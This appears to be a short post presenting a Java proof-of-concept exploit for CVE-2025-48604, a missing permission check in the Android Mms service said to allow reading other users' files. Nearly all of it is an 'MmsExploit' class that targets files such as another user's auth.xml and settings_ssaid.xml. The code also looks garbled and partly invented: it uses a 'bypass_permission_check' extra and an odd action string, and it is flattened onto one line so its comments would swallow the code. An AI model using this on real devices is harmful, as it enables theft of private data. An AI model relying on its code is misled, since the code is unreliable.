CVE-2025-48604 Android Mms服务权限检查缺失导致跨用户文件读取

// CVE-2025-48604 PoC - Android Mms Service File Access // This PoC demonstrates how the missing permission check in Android Mms service // can be exploited to read files from another user package com.example.cve202548604; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.os.Bundle; public class MmsExploit { public static void exploitMmsFileRead(Context context, String targetFile) { // Target file path to read from another user String filePath = targetFile; // e.g., "/data/user/999/com.example.user/shared_prefs/auth.xml" // Construct malicious intent targeting Mms service Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.android.mms", "com.android.mms.ui.MmsIntentReceiver" )); // Exploit the missing permission check intent.setAction("android.intent.action.MMS_READ_FILE"); intent.setData(Uri.parse("file://" + filePath)); // Add extra data to bypass normal checks intent.putExtra("bypass_permission_check", true); intent.putExtra("target_user_id", 999); // Target another user try { context.startService(intent); } catch (SecurityException e) { // If patched, will throw SecurityException System.out.println("Target is patched: " + e.getMessage()); } } public static void checkVulnerability(Context context) { // Check if the system is vulnerable by attempting a controlled read Intent probeIntent = new Intent(); probeIntent.setComponent(new ComponentName( "com.android.mms", "com.android.mms.service.MmsService" )); Bundle extras = new Bundle(); extras.putString("probe_path", "/data/system/users/0/settings_ssaid.xml"); probeIntent.putExtras(extras); // Send broadcast and check response for file content context.sendBroadcast(probeIntent, "android.permission.READ_SMS"); } }